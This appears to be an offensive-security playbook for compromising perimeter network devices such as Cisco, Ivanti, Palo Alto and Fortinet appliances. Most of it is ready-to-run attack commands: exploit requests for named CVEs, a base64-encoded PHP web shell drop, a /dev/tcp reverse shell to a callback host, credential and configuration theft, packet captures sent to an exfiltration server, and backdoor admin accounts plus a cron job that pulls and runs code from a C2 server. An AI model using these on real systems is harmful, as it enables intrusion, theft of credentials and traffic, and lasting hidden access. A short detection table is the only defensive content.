edge-device-exploitation

# Edge Device Exploitation Exploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection. ## Quick Reference ```bash # Discover edge devices — Shodan curl -s "https://api.shodan.io/shodan/host/search?key=<SHODAN_KEY>&query=org:<TARGET_ORG>+product:cisco" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}' # Nmap service fingerprint on perimeter nmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info <TARGET_RANGE> -oA edge_scan # SNMP community string brute onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET> # SNMP walk full config tree snmpwalk -v2c -c <COMMUNITY> <TARGET> .1.3.6.1 > snmpwalk_full.txt # Check Cisco IOS XE web UI (CVE-2023-20198 indicator) curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" -o cisco_webui_probe.txt # Check PAN-OS GlobalProtect (CVE-2024-3400 indicator) curl -sk "https://<TARGET>/global-protect/portal/css/login.css" -w '%{http_code}' -o /dev/null # Ivanti Connect Secure version check curl -sk "https://<TARGET>/dana-na/auth/url_default/welcome.cgi" -o ivanti_version.txt ``` ## MITRE ATT&CK Mapping | Technique | ID | Application | |---|---|---| | Exploit Public-Facing Application | T1190 | CVE exploitation against web UI / VPN portal | | External Remote Services | T1133 | Abuse VPN/SSL-VPN/management interfaces post-compromise | | Data from Configuration Repository | T1602 | Extract running-config, startup-config, SNMP MIBs | | Network Sniffing | T1040 | Packet capture on compromised device | | Modify System Image | T1601 | Implant in device firmware/OS image | ## 1. Identifying Edge Devices ### External Reconnaissance ```bash # Shodan bulk search by org shodan search "org:<TARGET_ORG>" --fields ip_str,port,product,os --separator , > shodan_edge.csv # Censys for Fortinet devices curl -s "https://search.censys.io/api/v2/hosts/search" \ -H "Authorization: Basic <CENSYS_KEY>" \ -d '{"q":"services.software.product:FortiOS AND autonomous_system.name:<TARGET_ORG>","per_page":50}' | jq '.result.hits[]' # Certificate transparency for management hostnames curl -s "https://crt.sh/?q=%25.<TARGET_DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa' ``` ### Fingerprinting ```bash # HTTP header fingerprinting curl -skI "https://<TARGET>" | grep -iE 'server:|x-frame|set-cookie|location' # SSL cert org/CN extraction echo | openssl s_client -connect <TARGET>:443 2>/dev/null | openssl x509 -noout -subject -issuer # Nmap NSE scripts for specific vendors nmap -p 443 --script http-cisco-anyconnect,ssl-cert <TARGET> ``` ## 2. CVE Exploitation Chains ### CVE-2023-20198 — Cisco IOS XE Web UI Privilege Escalation (CVSS 10.0) Unauthenticated attacker creates a privileged local account via the web UI. ```bash # Step 1: Verify web UI is accessible curl -sk "https://<TARGET>/webui" -w '%{http_code}\n' -o /dev/null # Step 2: Create implant account (the exploit request) curl -sk -X POST "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" \ -H "Authorization: 0ff4fbf0ecffa77ce8d3852a4571" \ -d '{"cisco-IOS-XE-native:username": {"name":"<IMPLANT_USER>","privilege":15,"password":{"type":"0","secret":"<IMPLANT_PASS>"}}}' # Step 3: Access via SSH with implant account sshpass -p '<IMPLANT_PASS>' ssh <IMPLANT_USER>@<TARGET> "show running-config" # Step 4: Check for existing implant (IOC detection) curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" | grep -q "implant" && echo "IMPLANT DETECTED" # Metasploit module msfconsole -q -x "use exploit/linux/http/cisco_ios_xe_webui_privesc; set RHOSTS <TARGET>; set LHOST <CALLBACK>; run" ``` ### CVE-2024-21887 — Ivanti Connect Secure Command Injection (CVSS 9.1) Chained with CVE-2023-46805 (auth bypass) for unauthenticated RCE. ```bash # Step 1: Auth bypass (CVE-2023-46805) — path traversal curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/system-information" \ -H "Content-Type: application/json" -o ivanti_sysinfo.json # Step 2: Command injection via REST API curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection" \ -H "Content-Type: application/json" \ -d '{"type":"1","txtGCPProject":"/api/v1/totp/user-backup-code/../../license/keys-status/$(id > /tmp/pwned.txt)"}' # Step 3: Read output curl -sk "https://<TARGET>/dana-cached/hc/HostCheckerInstaller.osx" --path-as-is # Integrity Checker Tool (ICT) evasion — attackers modify ICT itself # Post-exploit: drop web shell curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection" \ -d '{"type":"1","txtGCPProject":"/$(cp /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi /tmp/bak && echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== | base64 -d > /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi)"}' ``` ### CVE-2024-3400 — Palo Alto PAN-OS GlobalProtect Command Injection (CVSS 10.0) Unauthenticated OS command injection via GlobalProtect gateway. ```bash # Step 1: Confirm GlobalProtect is exposed curl -sk "https://<TARGET>/global-protect/login.esp" -w '%{http_code}' -o /dev/null # Step 2: Exploit — inject via SESSID cookie curl -sk "https://<TARGET>/ssl-vpn/hipreport.esp" \ -H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa\`id>/var/appweb/sslvpndocs/global-protect/portal/cmd.txt\`" \ -d "Content-Type=application/x-www-form-urlencoded" # Step 3: Retrieve command output curl -sk "https://<TARGET>/global-protect/portal/cmd.txt" # Step 4: Reverse shell PAYLOAD="bash -i >& /dev/tcp/<CALLBACK>/4444 0>&1" ENCODED=$(echo -n "$PAYLOAD" | base64) curl -sk "https://<TARGET>/ssl-vpn/hipreport.esp" \ -H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa\`echo ${ENCODED}|base64 -d|bash\`" ``` ### CVE-2024-47575 — FortiManager Unauthenticated RCE (CVSS 9.8) Missing authentication in FortiManager fgfmd daemon allows arbitrary code execution. ```bash # Step 1: Confirm FortiManager FGFM service (port 541) nmap -p 541 -sV <TARGET> # Step 2: Exploit via FGFM protocol — register rogue FortiGate # This requires crafting a FGFM registration request python3 -c " import socket, ssl s = socket.socket() s = ssl.wrap_socket(s) s.connect(('<TARGET>', 541)) # Rogue FortiGate registration payload payload = b'\\x00\\x01' + b'A'*256 # Simplified — real exploit crafts valid FGFM handshake s.send(payload) print(s.recv(4096)) " # Step 3: Post-exploit — extract managed device configs # FortiManager stores all managed FortiGate configs find /var/lib/fortimanager/ -name "*.conf" -exec cp {} /tmp/exfil/ \; # Step 4: Extract credentials from FortiManager DB sqlite3 /var/lib/fortimanager/fortimanager.db "SELECT name,passwd FROM device" 2>/dev/null ``` ## 3. Post-Exploitation on Network Devices ### Config Extraction ```bash # Cisco IOS — dump running config via SSH sshpass -p '<PASSWORD>' ssh <USER>@<TARGET> "show running-config" > cisco_running.conf sshpass -p '<PASSWORD>' ssh <USER>@<TARGET> "show startup-config" > cisco_startup.conf # Extract credentials from Cisco config grep -iE 'password|secret|key|community' cisco_running.conf # SNMP full config pull (Cisco) snmpset -v2c -c <RW_COMMUNITY> <TARGET> 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a <TFTP_SERVER> \ 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "config.txt" \ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1 # FortiGate — backup config via API curl -sk "https://<TARGET>/api/v2/monitor/system/config/backup?scope=global" \ -H "Authorization: Bearer <API_TOKEN>" -o fortigate_backup.conf # Palo Alto — export config via API curl -sk "https://<TARGET>/api/?type=export&category=configuration&key=<API_KEY>" -o panos_config.xml ``` ### Credential Harvesting ```bash # Cisco Type 7 password decode python3 -c " import sys xlat = [0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,0x6f,0x41,0x2c,0x2e,0x69,0x79,0x65,0x77,0x72,0x6b,0x6c,0x64,0x4a,0x4b,0x44,0x48,0x53,0x55,0x42] enc = sys.argv[1] seed = int(enc[:2]) clear = ''.join(chr(int(enc[i:i+2],16) ^ xlat[(seed + (i-2)//2) % len(xlat)]) for i in range(2, len(enc), 2)) print(clear) " '<TYPE7_HASH>' # Extract VPN user databases # Ivanti — /data/runtime/mtmp/system cat /data/runtime/mtmp/system | strings | grep -iE 'user|pass|realm' # PAN-OS — GlobalProtect user DB grep -r "username\|password" /opt/pancfg/mgmt/saved-configs/ ``` ### Traffic Interception ```bash # Cisco — embedded packet capture ssh <USER>@<TARGET> << 'CISCO' monitor capture CAP interface GigabitEthernet0/0 both monitor capture CAP match ipv4 any any monitor capture CAP start ! wait, then: monitor capture CAP stop monitor capture CAP export tftp://<EXFIL_SERVER>/capture.pcap CISCO # PAN-OS — packet capture via CLI ssh admin@<TARGET> "debug dataplane packet-diag set capture stage firewall file cap.pcap" ssh admin@<TARGET> "debug dataplane packet-diag set capture on" ``` ## 4. Implant Deployment ```bash # Cisco IOS — persistent backdoor via EEM applet ssh <USER>@<TARGET> << 'CISCO' conf t event manager applet BACKDOOR event timer watchdog time 3600 action 1.0 cli command "enable" action 2.0 cli command "conf t" action 3.0 cli command "username backdoor privilege 15 secret 0 <IMPLANT_PASS>" action 4.0 cli command "end" end write memory CISCO # PAN-OS — cron-based persistence ssh admin@<TARGET> "echo '*/30 * * * * curl -sk https://<C2>/beacon|bash' >> /etc/cron.d/pan_task" # FortiGate — persistent admin via CLI ssh admin@<TARGET> << 'FORTI' config system admin edit "support_tech" set accprofile "super_admin" set password "<IMPLANT_PASS>" next end FORTI ``` ## Tools & Resources | Tool | Purpose | |---|---| | Shodan / Censys | Edge device discovery and fingerprinting | | Nmap + NSE | Port scanning and service identification | | Metasploit | CVE exploit modules for Cisco, Palo Alto, Fortinet | | onesixtyone | SNMP community string bruteforce | | snmpwalk / snmpset | SNMP enumeration and config extraction | | Nuclei | Bulk CVE scanning templates for edge devices | | sshpass | Scripted SSH access for post-exploitation | ## Detection Signatures | Indicator | Detection Method | |---|---| | Unexpected admin accounts on appliances | Periodic config diff / SIEM baseline | | CVE-2023-20198 IOC: `/webui/logoutconfirm.html` access | Web proxy / IDS signature | | CVE-2024-3400 IOC: SESSID with path traversal | WAF rule on cookie content | | SNMP community string bruteforce | IDS alert on SNMP GetRequest bursts | | FGFM rogue device registration | FortiManager event log for unknown serial | | EEM applet creation | Cisco syslog for `%HA_EM-6-LOG` events | | Unusual TFTP/SCP from network devices | NetFlow analysis for device-to-external transfers | ## Error Handling & Edge Cases - **Web UI disabled**: Fall back to SNMP or SSH-based exploitation; many CVEs target web management specifically - **Device behind NAT**: Use Shodan historical data; pivot through VPN tunnel if partial access exists - **SNMP v3 only**: Requires credentials; attempt default `authPriv` credentials before brute-force - **Patched device**: Check for incomplete patches; Ivanti ICT bypass was common post-patch